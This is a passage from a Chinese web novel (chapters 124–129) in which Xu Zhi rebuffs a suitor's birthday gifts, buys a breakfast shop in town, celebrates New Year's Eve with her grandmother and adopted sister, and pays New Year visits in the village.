一时间,没有任何的谈笑声,有的只是秃噜秃噜的吃面声。 吃过饭,也一起齐心协力收拾东西,村里少有这样的画面,一时之间让里正晃了神。 “叔,你咋哭了?” 等到里正再回过神,就听到有人这么问自己。 他慌忙擦了擦眼泪,摆摆手道:“风大。” 也没人真的质疑里正话里的真实性,只是恍然才发现天都要黑了。 自己家的东西自己拿回去,其他的做饭用的大锅头和剩下的肉,都送到了许芷家。 这大锅是里正家的,所以许芷暂时拿走也没啥。 锅里的大骨头和汤还有呢,人家吃完了再还就行。 许芷也不好意思把这剩的肉汤给里正,所以抬到自己家的时候就这么收下了。 此后,许芷家里好几顿都跟羊汤有关。 十一月初九,早起大雾。 孟雨兰开门的时候,看着这雾气,莫名心里发颤,总觉得好像下一刻就会有洪水猛兽从那迷雾中出来。 正这么想着,白雾中竟真出现了一道模糊身影一步步接近。 孟雨兰心中一窒,脑子里只有两个字快跑,可双腿好像钉在了地上,一动不能动。 随着那身影逐渐清晰,孟雨兰的心也渐渐提到了嗓子眼。 直到那身披佛头青素面杭绸鹤氅的人站在眼前,孟雨兰才松了口气。 “这不是怀清堂的东家?您怎么来了?” 她是认得宋清奕的,从前跟娘出来买药的时候见过。 只是她不敢相信,这种城里有钱的大人物怎么会来这。 宋清奕温和一笑,颔首道:“我找许芷,麻烦姑娘通传一下。” 在这冷出冰霜的早晨,听到这轻柔的声音,看到这温润如玉的面庞。 让孟雨兰有种如沐春风之感,她笑的迷糊,转身回了家去叫许芷。 许芷打着哈欠一开门,就看到了满脸八卦的孟雨兰,笑的意味深长。 “怎么了?” 她缩了缩脖子,早上的冷风灌脖子。 孟雨兰:“外面有位帅气逼人的贵公子找你哦,小妹~” 阴阳怪气的语调让许芷打了个寒颤,她不用问就知道是谁。 她尽力无视了孟雨兰的眼神,快速跑了出去,在孟雨兰跟上之前,将大门关上了,隔绝了好奇的视线。 宋清奕看到许芷,清冷的眸子瞬间火热,嘴角不自觉扬起。 而许芷一看到他就想到了那晚他送来的那包东西,脸上的表情僵了一瞬,尽力让自己看起来平静些,问道: “你来做什么?” 宋清奕没有直接开口,而是看了眼身后,三七立刻凑了上来,递过来了一个包袱。 他拿过递给许芷,眼神灼灼的看向她,恭贺道:“岁岁春无事,相逢总玉颜,怀夕,生辰安康。” 许芷想到了什么愣怔的接住了那包袱,打开里面是一件白狐裘大氅。 宋清奕:“你从前就是怕冷的性子,这白狐裘可是我自己猎的,穿上定然暖和。” 一边的三七听说这是许芷的生日,他笑着凑上前,“原来是许姑娘生日啊,东家不早说,早知道我也给许姑娘备下生辰礼了。” 许芷还看着大氅,并未说话,脸色并不算好。 而宋清奕又从自己的怀中拿出了一油纸包着的东西,递过去。 语气中带了点邀功的意味。 “我从家里过来一刻不敢停,东西我一直贴身放着就怕冷了,如今还温着,你快尝尝看,还是不是从前的滋味?” 许芷没有去接,而是看向宋清奕,她的呼吸已经加重了,眸色冷了几分,有些明知故问:“芋头糕?” 听到许芷猜出了是什么,他笑意更深。 从前许芷最喜欢的就是这家芋头糕,每日总要吃上一两块。 上次他回家也送了包这个来,但是当时已经是半夜,没好意思打扰许芷,将东西放在窗外就走了。 这次因为是生辰,他特意提前回了趟老家,买了她从前最爱吃的芋头糕,又马不停蹄的回来。 直接到了这,送她礼物。 看着许芷迟迟不动,宋清奕才反应过来,许芷抱着大氅怕是不方便。 示意三七拿走了许芷手里的大氅,他殷切的将油纸包打开,拈出一块眼神期待的递过去。 想象中感动到落泪的场面并未出现,反而许芷的脸色越发的白。 第124章 吾之砒霜 宋清奕察觉不对,将芋头糕放回去,伸手想拉过许芷的手腕把脉。 可手刚伸出去,许芷就将他手中的芋头糕全部打翻在地。 宋清奕瞬间愣住,他不敢相信的看向许芷,不解问道:“这是何意?你从前——” “不要再说从前了。” 许芷眼神里的冷意刺痛了宋清奕的心。 他上前一步,想要抓许芷说些什么,许芷快速的后退,两只手都躲在了身后。 “宋清奕,我说过的话,你好似从来没听进去过。” 一向温和的宋清奕,听到这话表情痛苦,不甘的问道:“我就是想对你好,我有什么错?” 许芷抬眼看去,冷静道:“彼之蜜糖,吾之砒霜。 若真是为我好,就该遂了我的心意才是,而不是想当然的对我好,只为了让自己心里好受一些。” 宋清奕闻言着急的想要说什么,可许芷根本不给他机会,直接回了院子。 看着紧闭的大门,宋清奕将全身的怒火都放在了脚下的芋头糕上。 三七在后面看着,大气不敢出,他头一次见东家有这么强烈的怒意,只是在后面看着都能察觉得到。 宋清奕闭上眼睛,突然想到了什么,周身的怒气四散,转而被深切的无力笼罩,脊背都塌了些。 他光想着给她庆贺生辰,却忘了她死在生辰的第二日。 半个月后,灭门惨案发生,那一场火灾,带走了她所有的亲人。 她怎么会有心思庆贺生辰呢? 当年,她父母亲特意给她过了生辰,才让她上路去京城。 谁知道,这一走竟是永别。 “弄巧成拙。” 他苦笑一声,摇摇头低声喃喃。 宋清奕清楚,他欠她的,生生世世都还不了。 一旁的三七这会才敢上前去,他踌躇着开口问道:“东家,这大氅......” 宋清奕偏过头去,看向三七手里的包袱。 许久,他拿起包袱放在了门前,跟三七离开。 回了家的许芷,被好奇的孟雨兰堵着问。 “小妹,为啥怀清堂的东家来找你啊?” “找我说卖药的事。” 许芷的样子看起来好像什么都没发生一样,可是邓老太和孟雨兰能从她的语气中听出来,她的冷意和不耐。 如此,孟雨兰也不敢多问下去。 讪笑一声,赶紧盛了饭吃早饭。 一场大雪过后,就进了腊月,村里已经开始有准备过年的气氛。 许芷在这个家过了“许芷”的第二个生日,她今年收到的礼物可比去年多得多。 除了祖母、舅舅和王茹娇送了礼物,村里只要租了地的人家都送来了东西。 不是两个红鸡蛋,就是几张红糖饼。 又或者是送来了一碗长寿面,还有人家送了自己腌的酸菜。 快要过年了,有家正在蒸豆馅馍馍的,就送了十几个豆馅馍馍,又或者是烧饼。 总之自己家里有什么送什么。 都是村里人,肯定送不了贵重的,只能送些家里吃吃喝喝的东西。 但是重要的是大家的心意,而不是东西。 因为送的东西太多,今年过年邓老太和孟雨兰少准备了好多东西,光是送来的都吃不完。 腊月二十三,年前城里最大的一次集,要买过年的东西都趁这次。 许芷、邓老太和孟雨兰也去了城里买东西。 今年邓老太的催婚势头突飞猛进,从腊月开始舅舅邓耧子就不往山坳来。 甚至连吃饭都不来了,任凭孟雨兰做了多好吃的东西,怎么叫都不来。 所以,今年采办年货的事情就耽搁了下来,只能她们祖孙三人自己去买。 三人进了城先往布行去,许芷打算给三人一人买一身成衣,虽然贵了些,但是做起来太麻烦了。 新年穿新衣这是应该的。 邓老太和孟雨兰不是这么想的,两人都觉得应该自己买了布做衣服。 但是两者也有区别,前者是为了省钱,后者是为了因为自己有这手艺,想报答祖孙俩对她这一年的照顾。 许芷进去就看成衣,也不拘什么花样,挑了个看起来保暖又耐脏的就让伙计包起来了。 转头问祖母和孟雨兰,“祖母,雨兰姐,你们俩喜欢什么样式?” 只是这俩人正忙着挑布,一个也不理会她。 她愣神片刻,对跟在身边的伙计说,让其先去忙自己的。 看着祖母的孟雨兰那个架势,估计要好一会儿挑呢,她靠在门边的柜台上,静静等着。 她随意看着街上热闹的人群,真不愧是要过年了,街上人山人海,每一个人都喜气洋洋。 突然她看到一家早餐铺子贴了张告示在门外,许芷好奇走了上去,原是这家不打算干了,想把店铺转出去。 许芷诧异,这件铺子虽然看着不大,可是位置好。 这是个丁字路口,早餐铺子正对面就是市集,人来人往一眼就能看到这家店。 左右两边也都是各种各样的铺子,有多热闹就不说了。 这铺子定然赚钱,这么赚钱的铺子,突然不干,该不会这铺子的老板惹了什么祸事? 这铺子要是接手了,会不会有人来找事? 许芷暗自想着。 看到有人来看,刚刚贴告示的那个老太太,问道:“姑娘,你租吗?” 许芷看过去,试探问道:“这铺子位置这么好,怎么不继续干了呀?” 那婆婆和蔼一笑,说道:“我们家娘子的侄子,考中了举人,我们该去京城准备会试了。” 闻言,许芷颔首:“恭贺。” 那婆婆笑的更开心了,“姑娘若是有心,可尽快决定,这位置我们留不了太久。” 许芷点了点头,这婆婆说的对。 要不是这家人要去京城,这么好的铺子只怕是难遇上。 想了想自己的要做的事,许芷当机立断,“婆婆,这铺子我租了,只是我今日没有带那么多钱,若是你们不急,明日我今早送来。” 王婆婆虽然有推销自己家铺子的意思,但也没想到许芷会直接定下来。 她知道这铺子位置好,可这人还没看过铺子里面的格局,也不知道这女子要用这铺子做什么。 万一这会儿说的好好的,等到拿了钱过来看的时候,又觉得不合适,两边都耽误事。 第125章 去办年货 王婆婆笑着问道:“姑娘,要不你进去看看再说,我也不知道你租这铺子要干啥,万一你看了格局不合适,这不是耽误你的事儿。” 既然这么说了,许芷就顺势进去看看。 因为是早餐店,每日在门前卖东西。 所以这铺子一分为二右边是灶台,转角连着一个土炕与窗平齐对着街,这炕用来放做好的餐食,冬天生了火能保温。 正好买早餐的人,从这窗户买了就能走,方便快速。 再转角靠着墙的位置放着所有的厨具,还有一张桌子是算账放钱的地方。 左边放了四张桌子,若是有不急的,可以坐下细细品味早餐再走。 因为这家只做早餐,大多是买了就走的,所以不需要那么多的桌子,这样的布局已然可以。 往里走一扇小门通往后院,有东西两间厢房。 东边的厢房隔成了三间睡觉的屋子,西边那间隔成了一间私用小厨房,一间洗澡的,最后那一间离得远是茅房。 这地方寸土寸金,房子本就不大,隔起来每一间还不足家里屋子的一半大,但是够住了。 许芷越看越觉得不错,是她想要的。 “婆婆,那可说定了,我明日就带钱来。” 王婆婆一听许芷看过还是想要,她高兴地一拍手,连忙应下来。 这边许芷出了门和一身穿青色袄子的清冷女子擦身而过,她进了布行看祖母和孟雨兰挑好布料没。 那女子进了早餐铺子,王婆婆一看娘子回来了,连忙上去说道: “娘子还怕不好租出去,我刚贴出去一刻都没有,便有位姑娘来定下了。” 李娘子一听,有些惊讶,她转让的租金不算少,还以为总要有人观望观望,磨一磨讲讲价。 没想到竟有人这么爽快。 王婆婆扭头看到许芷从布行出来,哎一声指过去给李娘子看,“娘子,你看,就那位姑娘。” 许芷过去的时候,祖母和孟雨兰已经挑好了布,正在付钱呢。 她很有先见之明的在出来前,给柜台压了钱,提前交代祖母和孟雨兰买的都由她付账。 祖母和孟雨兰还想着自己花钱呢,结果根本用不上。 买完三个人出来了布行,许芷刚出来就觉得一道视线在自己身上。 她转过头去看,跟刚刚擦身而过的女子对上。 看那女子跟王婆婆挨得近,许芷猜到这应该就是王婆婆口中的娘子。 毕竟是要租人家的铺子,许芷看过去微微颔首,打过招呼。 李娘子回以微笑。 祖孙三人没入人群去办年货。 瓜子花生都是基础,果干肉脯也没少买。 家里鸡鸭鹅都有,于是买了牛羊猪。 青菜家里地里还有些,主要买了些干菜和酱菜。 除此之外,过年炖肉炖的多,又买了不少的大料。 去年好些没想起来,今年见到了红灯笼,买了俩准备挂大门前。 还买了好多张窗花,每一扇窗户都不打算放过。 去酒肆买了些应季的梅花酒,又买了没什么劲儿的梅子酒和度数高些的清酒。 人多热闹,街上还有玩杂耍的,祖孙俩一直出来了一天才回去。 擦着黑进了村。 刚进村,许芷让祖母和孟雨兰先回了家。 今天出去,王茹娇在家忙着做东西,让许芷帮忙带了点面脂和零嘴,徐青云也拜托许芷买了些猪肉。 寻思着早点送过去,所以就跟她们俩分开,自己一脚深一脚浅的往村里去。 冬夜,村里的路上静悄悄的,只有踩在雪上的咯吱声。 许芷虽不怕黑,可静悄悄的心里总归是有些毛,如此脚下的步子就越发快了。 走到了村里的老槐树突然听到了不一样的动静,哼哼咛咛的像是猫叫一般。 许芷心想这个时候哪来的老猫啊,人都嫌冷不出来,猫怎么可能在这。 看着老槐树附近一大一小杂乱的脚印,许芷心想莫不是谁家两小无猜的,趁月黑风高无人之时出来私会呢? 想到这种可能,许芷心松了许多,是人就不怕。 只是刚准备走,随意一撇,在月光与雪的映照下,许芷清晰的看到了槐树后面那熟悉的衣角。 不过她装作没看见,迅速离开了。 等到她身影隐没的黑夜中,树后的两人才小心翼翼的出来。 邓耧子先看了看四周,确定没什么人了。 才伸手去抓树后那人。 “喜英出来吧,没人了。” 没抓到人,转头看到刘喜英还是一脸惶恐的躲在树后,他上前一步霸道的抓住刘喜英的手腕,把人带了出来。 “真的没人,你就放心吧。” 邓耧子说的振振有词,一副可靠的样子。 刘喜英脸色还是刚刚被吓到的样子,因为差点被许芷瞧见,她有些打退堂鼓。 “耧子,咱俩要不就算了......” “啥?” 邓耧子一听大声问道:“怎么就算了?我好不容易磨的你松了口,怎么刚开始就要算了。” 听到邓耧子声音这么大,刘喜英吓死了,着急的去捂他的嘴。 “你小点声,被别人听见了怎么办?” 邓耧子感受着唇上那柔软馨香的小手,心也跟着软了。 抬手扣住她捂在嘴上的手,语气低柔了许多,不以为意道:“听见咋了,你没男人,我没媳妇儿,你跟我咋不行?” 刘喜英听到,皱眉轻声反驳道:“不是这么回事儿,我毕竟是个有俩孩子的寡妇。” 一听这个,邓耧子更不在意了,笑的有些傻气,语气还带着羞。 “那咋啦,我娶一送二还赚了呢,白得一双儿女,世间哪有这种好事啊。” 刘喜英听到张嘴想驳他,可看到邓耧子晶亮的眼睛,满怀着对她的温柔和情感。 好多话就堵在了嗓子眼里,再也说不出。 邓耧子知道刘喜英的顾虑,他抓着她的手放在自己的心口,郑重地说道: “喜英,我知道你在顾忌什么,但是我邓耧子对天发誓,会一辈子对你好,对小业和笑笑好,我不许你因为寡妇的身份就觉得自己低人一等,你也是人,日子是我们自己过的,旁人说再多也是放狗屁,只要我们知道好就好,不是吗?” 刘喜英听到这话,脸是红了又红,没忍住踮起脚亲了邓耧子的脸一下。 亲完趁邓耧子还没反应过来,立马抽开手回了家。 第126章 此地无银 邓耧子不敢置信的摸着脸,春心荡漾。 意识到心上人已经走了的时候,下意识想追,但是想到刚刚才亲过,怕刘喜英害羞不敢面对自己,他还是停下了,傻笑着回家。 这边许芷给王茹娇家送完了东西,就要回去。 正走着突然听到前面有人急匆匆的跑过来,一抬头,跟没注意的刘喜英撞到了一起。 许芷赶紧把人扶起来,关切的问道:“刘婶子,当心些,晚上本就看不清,更要注意些。” 刘喜英尴尬的笑了两声,慌忙回了家。 看着刘喜英仓皇的背影,如果她没看错,刚刚她将人扶起来,刘婶子第一眼看到她是有些心虚的,脸颊还有些红。 想到刚刚看到老槐树后熟悉的衣角,许芷已经猜到了是怎么回事。 怨不得舅舅要躲祖母的催婚,而且偷偷摸摸的。 就刘婶子这寡妇身份,若是这件事被大家知道了,只怕是唾沫星子要淹死刘婶子。 许芷料想这俩人大概率是舅舅主动地多,刘婶子只是被动接受。 可就算是这样,大家也只会把错误和不好的名声归到刘婶子身上。 真要是让祖母知道了,家里免不了要闹一场。 许芷只盼着舅舅别太着急,可不能莽撞。 这样想着许芷已经走到了山坳,刚进去就看到个高大黑影出现。 许芷心中一窒,下一刻发现是舅舅邓耧子,瞬间落了一身的汗,风一吹还有些冷,打了个冷颤。 她有些无奈的问:“舅舅,大晚上的你干啥在这吓人?” 邓耧子本来是想直接回去的,但是走到一半想到了许芷,不知道许芷到底看到没看到。 要是看到了就算不知道是喜英,但是也该知道是在私会,万一她跟娘说了。 娘现在正着急他的婚事,一听他有了心上人,逼着他带回来咋办? 他倒是敢作敢当,心仪刘喜英他没啥不能说的,可是他就是怕娘不接受,让喜英难受。 不能做到让家里人接受,就贸然公开,最后受伤的还是喜英。 所以他掉转头,想着来探探许芷的口风,看看她到底知不知道。 可是真到了问的时候,他咂咂嘴吞了口口水,又觉得不知道该咋说。 看着舅舅这样子,许芷也猜到了为啥而来,但是她装作不知情,等着舅舅往下说。 两人就这么在寒风中大眼瞪小眼了半天,直到许芷受不了了。 她手冻得有些没知觉了,开口道:“舅舅挺冷的,你要是没事儿,我就回去睡觉了。” 还没问到呢,邓耧子当然不能让许芷走,他哄着把人稳住,想了半天问道: “娘最近还骂我吗?还忧心我的婚事吗?” 这许芷不会撒谎,“骂的少了,忧心但忙起来就会忘。” 闻言,邓耧子哦了一声,又问:“那...大晚上的你这是去哪了?你一个姑娘家晚上瞎跑啥?” 许芷坦然道:“我跟祖母去城里办年货,帮娇娇家带了东西,我去送过去。 再说了在村里能有什么危险。” 这话说完,邓耧子又想了半天,抓耳挠腮的想该怎么问才能委婉些,又能知道情况,又不让外甥女发觉。 “那你...去的时候还好吧?尤其是咱村老槐树那块,听说晚上那闹鬼。” 许芷心想终于问到了。 她其实早就想主动说她路过老槐树的时候什么都没看到,可是舅舅要是不问到这里,主动说了跟此地无银三百两有什么区别。 只能等到舅舅问到,她回答没有,这件事才算了。 不过闹鬼这种借口,也亏得舅舅能想的出来。 许芷淡定的摇摇头道:“没事啊,我闷着头走的很快,走过了老槐树都不知道。” 闻言,邓耧子放心多了,嘱咐许芷赶紧回家吧。 他喜笑颜开的也回去睡觉了。 许芷刚走了两步,才发觉自己这回答还是此地无银了,只是不知道舅舅听没听出来。 这会儿看着他有些雀跃的背影,应该是没听出来。 后面要是琢磨过来,也不能怪她,她已经尽量撇清了。 许芷摇摇头赶紧回家,她房间的炕已经被祖母烧的热乎乎,洗过钻进温暖的被窝,她很快就困了。 第二天她早早就拿上钱骑着马去了城里付租金。 这一次去的时候李娘子在,所以她直接跟李娘子谈。 这铺子在李娘子名下,她本是只打算租的。 但是许芷考虑到她去了京城后续再续租不好谈,毕竟两地也不近,就商量着能不能直接把这铺子买下来。 李娘子考虑了一番,最后还是同意了许芷的提议,将铺子卖给了许芷。 真去了京城一定到处是用钱的地方,以后还能不能回来也是两说,不如就这么卖了。 除夕夜当天,许久不在祖母面前露面的舅舅邓耧子出现了。 邓老太一看到他,气不打一处来,过来过去的没给他好脸色。 还是许芷和孟雨兰轮番劝才好些,又因为要过年呢,拉拉着脸确实不好。 邓老太还是给了儿子笑模样。 今年除夕有了孟雨兰这个大厨,年夜饭异常丰盛。 她将她所知道的各个地方的菜系选了一道具有代表性的出来,一共八道,又结合了当地过年必备的菜色,组成了十六道硬菜的大席。 那八道各地代表菜为:九转大肠、宫保鸡丁、白切鸡、清蒸蟹粉狮子头、佛跳墙、西湖醋鱼、剁椒鱼头和红烧肉。 除了这些,还有八宝饭、小酥肉、松鼠桂鱼、粉蒸排骨、土豆炖牛肉、麻酱毛肚、凉拌黄瓜和油炸花生米。 汤是黄豆猪蹄汤,主食是羊肉馅饺子。 许芷没什么酒量,喝的是梅子酒。 祖母和孟雨兰喝的是应季的梅花酒,舅舅能喝,喝的是度数高的清酒。 一人一杯酒,先共同举杯庆贺新年,干了之后才开始吃菜。 吃到一半,孟雨兰满上一杯酒,眼眶含泪的对祖母和许芷说道: “这一杯敬小妹,小妹于我的恩情比天高比海深,若不是小妹救了我,如今我只怕不是置于水深火热之中,就是早就命丧黄泉。” 说完一口干了杯中酒,又倒满接着说。 “这一杯敬奶奶,感谢你把我当亲孙女一般的看待,让我感受到亲情的温暖。” 说完又是一口闷了杯中酒。 第127章 除夕送礼 这两杯酒,让邓老太和许芷眼圈都有些红。 邓老太喝的有些上头了,胡乱摆着手,说道:“一家人不说这两家话。” 许芷也附和:“没错,雨兰姐,有些时候都是缘分。” 说着她手伸到了袖袋里要拿东西,边拿边说:“过年了,我送祖母和雨兰姐一样礼物。” 她将舅舅早就给她的银耳珰放在了祖母的面前。 邓老太看到面前的东西,眼神瞬间清明了,她不敢相信的看向许芷,不确定的拿起耳珰。 “这、这不是......” “没错,祖母,这是你之前当掉的银耳珰,孙女给你赎回来了。” 许芷觉得是时候把这拿出来了,祖母知道她卖了药苗,手里现在有钱。 不过这银耳珰能保留住,主要还是舅舅的功劳。 所以她紧接着又说:“不过,是舅舅出的钱,我只是跑了个腿。” 邓耧子没想到许芷最后把功劳归在自己身上,他当时说的就是让许芷找个合适的时间,说是她赎回来的就行。 邓老太闻言看向儿子,心里感动的不行,眼泪都落了下来。 尽管如此,她还是忍不住叮嘱:“早点成亲,趁我还有些力气帮你带孩子。” 一提到成亲,邓耧子立马装傻,光嘿嘿笑不接话。 邓老太看他这副德行,虽然心里着急,可是毕竟有赎银耳珰在前,又是过年的,还是忍住没多说,给了好脸。 接着许芷又拿出了孟雨兰的银镯放到了她面前。 “雨兰姐,从你来了我家开始,你所做的一切我都看在了眼里,我花的那些钱早就比不上你的付出,所以这个银镯子你拿回去。” 许芷这话完全是真心实意的。 这差不多一年的时间,孟雨兰在她家里什么活都抢着干,洗衣做饭都是她的日常,更不要说每日收拾屋子什么的。 地里的活她也帮忙,有时候许芷上山她也跟着上山,采野菜也好,帮着许芷弄草药也好,总之一刻没闲着。 她们不让孟雨兰干,还跟她们急。 许芷平时也忙,不能时时拦着她,祖母老太太更不用说,根本拦不住。 所以许芷是真的觉得孟雨兰在这个家付出了很多。 “不不不,这我不能要,我干活都是应该的,要不是你我哪能过的这么舒坦。” 孟雨兰不敢拿回来,她总觉得心中有愧。 许芷摇摇头,“雨兰姐,你要是拿我们当家人,你就拿回去,要不然我就伤心了。” 既然许芷这么说了,她也就不再拉扯了,利索点收下得了。 许芷还给舅舅邓耧子买了副护膝,她实在不知道该买什么,想着买点保暖的东西算了。 邓耧子接到的时候,还开玩笑道:“我这大老粗还有呢。” 趁这许芷开了送礼的头,邓老太也把自己准备好的红包分给了许芷和孟雨兰这两个小辈。 看到孟雨兰和许芷都有红包,邓耧子不满的看向母亲:“娘都不疼我了。” 邓老太撇他一眼,笑的揶揄道:“那你赶紧成亲,给我生个小孙子,我就续上,年年给,给的开心,给的幸福。” 听得这话,许芷快速的瞥了一眼舅舅,只见舅舅立马收了脸色,闷着头吃饭不说话。 若是从前她不知道刘婶子和舅舅的事儿,那她这会儿早就偷着笑了。 可是知道了,听到祖母这样揶揄舅舅,心情大不同。 若是这事儿成了,不用等,祖母立马多了一对孙子孙女,就是这愿望真成了,也不知道祖母还高兴不。 她并不是觉得寡妇的身份怎么样,真计较起来她现在也是寡妇,可是毕竟当娘的,不会希望自己儿子真娶个寡妇。 说起来谁都没错。 而邓老太看着儿子这被揪住嗓子的样子,恨铁不成钢的哼了声。 孟雨兰眼见不对劲儿,也赶紧拿出了之前精心选的布料给大家做的衣裳。 “奶奶,小妹,上次买的料子,给你们做了新衣裳,我拿来给你们看看。” 说着她出门进了窑洞,没一会儿拿着两件衣裳回来了。 “这件是小妹的。” 孟雨兰给许芷选的颜色是柳绿色的绸子,她觉得许芷往日清冷的面容很是衬这种清新淡雅的颜色,跟她这个人一样。 做成了一件夹袄,之前许芷上山猎过几只兔子,皮毛她都留着,这次正好用的上。 夹袄的领子和袖头都缝上了白色的兔毛,看着暖和又好看。 许芷接过,感激的眼神刚看过去,孟雨兰就抬起手制止她说什么肉麻的感激话。 “咱们一家人不说客气话啊。” 然后把手里另一件宝蓝色的锦袄递给了邓老太。 领口和袖子也一样缝了兔毛,只是不一样的是祖母这件上面的是灰兔毛,不会有白兔毛那么显幼态,更符合邓老太的年纪。 邓老太笑眯眯的接住了这衣服,手缓缓地摸着袄子,看着那针脚和剪裁忍不住夸道。 “你这丫头手艺可真好,这样式我只在铺子里见过,从未穿过。” 因为绣娘的身份,孟雨兰对衣服的样式很是精通。 “以后我日日让奶奶穿。” 孟雨兰笑的开心。 邓老天闻言笑的高兴,看着祖母开心许芷也高兴。 邓耧子看着氛围这么好,他突然生了心思,要不然就趁现在把自己的事儿跟母亲说了得了。 可嘴刚张开,又没了底气。 万一娘知道了,大过年的正是开心喜庆的时候,可自己一旦说了这话,这年指不定过成什么样。 仔细想了想,他还是算了,闭了嘴先不说。 大年初一,许芷穿上了孟雨兰做的新衣服,一大早她拿着东西去给谢有余上坟。 上完之后,她没急着回家,而是上了山,找了块没什么枯草的空白地,她将地上巴拉干净,朝着姑苏家里的方向跪地。 她双手合十语气坚定的开口道:“爹,娘,哥哥,我现在过得很好,所有的事情都有条不紊的计划着,你们放心,怀夕一定会给你们报仇的。” 说完,她磕了三个响头,将带来的东西都烧过。 看着烧完确定没火星子她才走。 第128章 恭贺新禧 下了山,刚到家里,就听得王茹娇嘻嘻哈哈的声音。 掀开帘子进了堂屋,她笑道:“十里外都能听到娇娇的笑声。” 王茹娇一听赶紧捂了嘴,后一看许芷憋笑的样子,就知道这是在打趣她。 “好啊,小芷,大年初一你就取笑我。” 许芷不语,只是给她递了块孟雨兰做的糕饼,瞬间王茹娇就忘了这些。 邓老太笑呵呵的从里屋出来,手里还拿着个红封。 “娇娇,给你。” “呀!”王茹娇腾的站起来,走上前亲亲热热的搂住邓老太。 接过红封后,大大方方道:“婶子,恭贺新禧,岁岁平安,年年有余。” “好。”邓老太很是喜欢王茹娇这张甜甜的嘴。 这边许芷也准备好了拜年的东西,出来看着王茹娇说:“走吧。” “去哪?” 王茹娇正吃的开心,自从有了孟雨兰,许芷家的零嘴就没断过,那怕卖货郎不来,孟雨兰也能想着法的做出好多种零嘴。 许芷下巴努了努王茹娇家的方向,道:“去你家拜年。” 王茹娇还想吃会儿东西,觉得两家关系这么近,不必急于一时。 看着她不愿意走的样子,许芷直接上前拉着她往外走。 听到王茹娇抗议一般的声音,她冷静道:“那些个零嘴我都拣了一份送你家,你回了家再吃,可不早了,再晚去你家就是我不知礼数了。” 一听许芷带了好吃的,王茹娇嘿嘿一笑,心想还是许芷了解自己。 给王茹娇家拜完年出来,许芷转身去了王三婶家。 王三婶的儿子儿媳带着孙女儿回来了,许芷进去的时候,老两口正抱着孙女高兴的问东问西。 见到许芷来,老两口赶紧站起来。 “小芷来了。” 王三婶随手抓了把瓜子就往许芷的手里放。 许芷接过瓜子,放进了自己的袖袋,递过去自己拿的东西。 “三奶奶,三爷爷,恭贺新禧,岁岁平安,福寿安康。” “好~” 王三婶笑的开心,拿出了个红封给许芷。 许芷接过,又从袖袋里拿出了花生糖递给王三婶的小孙女。 过年要出来,许芷袖袋里就会装点,万一遇到了小业、笑笑他们这些小孩子,顺手就给了。 王三婶的小孙女有些怕生,看到许芷递过来的糖,口水已经流出来了,但是眼神还是戒备的,往王三婶身后躲。 看着小孙女这个样子,王三婶语气宠溺,低声哄道:“这是你许姐姐,别怕,给你糖就拿着。” 小孙女听到又看了看许芷,思忖了一会儿,才挪着步子从身后出来,快速的接过许芷手里的糖,转身扑到了爷爷的怀里。 去年三爷爷三奶奶去了儿子那过年,没在村里,许芷没来拜年。 所以许芷跟王三婶的小孙女和儿子儿媳并未见过。 王三婶看孙女这样子,跟许芷抱怨道:“这孩子胆子忒小,你看看拿个糖还这样。” 虽说是抱怨,可是她语气里的宠溺怎么都遮不住,看着孙女时眼神里的笑意满满。 “无事。”许芷笑道:“我小时候比她还害羞,过年来了人,我躲在屋里都不出来。” 她这是实话,也不是。 小时候她就不爱跟别人接触,倒不是害羞,而是不喜欢见到她的人都捏她的脸。 同时觉得过年人多吵的很,可现在想想那时候的热闹多难得,不自觉脸上的笑容就淡了些。 王三婶以为她想的是梅子去世前,她在上坪村的时候,提到这个思及去世的母亲,才会脸上多了丝伤心的神色。 故而开解道:“小芷,都过去了,就别想了,活着人要好好活着,过年呢,开心些。” “是,活着的人要好好活。” 许芷扯起一抹笑容。 正说着,王三婶的儿子和儿媳回来了,两个人一大早去给奶奶爷爷上坟。 按说是儿媳不应该去的,但是他们俩特殊,年年在外面,回来不了几回。 所以王三叔就让夫妻俩一起去,让爹娘好好看看孙子和孙媳。 夫妻俩看到许芷就猜到了这一定是父母亲口中那个懂事有魄力、带着他们和全村人发财致富的许芷。 “想必这位就是许芷、许丫头吧?” 王阡上前一步客气说道。 许芷:“是我,王叔,恭贺新禧。” 看到她,王阡激动地感谢道:“许丫头太感谢你了,感谢你这两年对我爹娘的照顾,我常年在外,让他们一起去,可他们总是放不下家里的地和房子。 可他们操劳一年也挣不了什么钱,我给他们钱也不要,如今好了,有你在他们赚的多,过得好,我作为儿子放心多了。” 许芷闻言推道:“我没做什么,都是三爷爷三奶奶支持我。” 王阡的妻子上前拉过许芷的手温柔说道:“许丫头就别客气了,今天中午可一定要在我家吃饭,让我们夫妻俩好好感谢你。” 说完,挑眉看了眼丈夫。 莫名的许芷心中浮现了一丝异样,她委婉道:“我出来的时候,祖母已经开始揉面包饺子,让我拜完年早点回去擀皮呢。” 王阡的妻子柳云筝还想说什么,被王三婶打断了。 “行了,许丫头要回去帮忙呢,咱们就别留人了。” 说着给许芷拉了过来,给了她眼神让她赶紧走吧。 她知道许芷不是喜欢这种事情的性子,所以赶紧解围。 果然许芷听到,如释重负一般的赶紧离开了。 不知道是不是她想多了,她总觉得王阡的妻子好像不是要感谢她,而是另有想法。 而看着许芷离开的背影,柳云筝本来还笑的面容瞬间垮了起来,瞪了一眼王阡。 转身抱着女儿进了房间,关上门隔绝开。 王三婶见状,以为儿媳妇觉得她弗了他们的好意。 有些慌张的拉住儿子手跟儿子解释说:“许丫头不是那种喜欢多说感谢话的人,也是个冷清的性子,所以我才让她走的,不是不愿意承你们的好意,你快去跟云筝解释一下。” 王阡也有些生气道:“娘,你就别掺和了,我跟云筝干啥你支持就行了,怎么还拖后腿呢?” “娘真的知道错了,不行我晚上做一桌,把许丫头请来?” 王三婶一年就见儿子这一次,当然不愿意闹别扭。 主动地说着解决的办法。 王阡一听随口敷衍道:“随你随你,我去看看云筝。” “哎,好。” 王三婶赶紧把儿子推进屋里,心想自己刚刚就不该着急冒头。 但是许芷确实不是这么个性子,她不想让许芷做自己不喜欢的事情。 儿子和儿媳毕竟是自家人,以为说了这话也没事,没想到儿媳还是在意。 她有些委屈的看向丈夫,王三叔放下了手里的烟枪,示意她去厨房。 “不用在意,包饺子吧,新年头一天,不开心做什么?” 得了这话,王三婶哎了声,去厨房忙起来了。 第129章 还没开窍 屋里柳云筝跟女儿坐在炕上,女儿自己玩着手里的拨浪鼓,而柳云筝侧着身子半躺着歇神。 听到他进来的声音,眼皮动一下都没动。 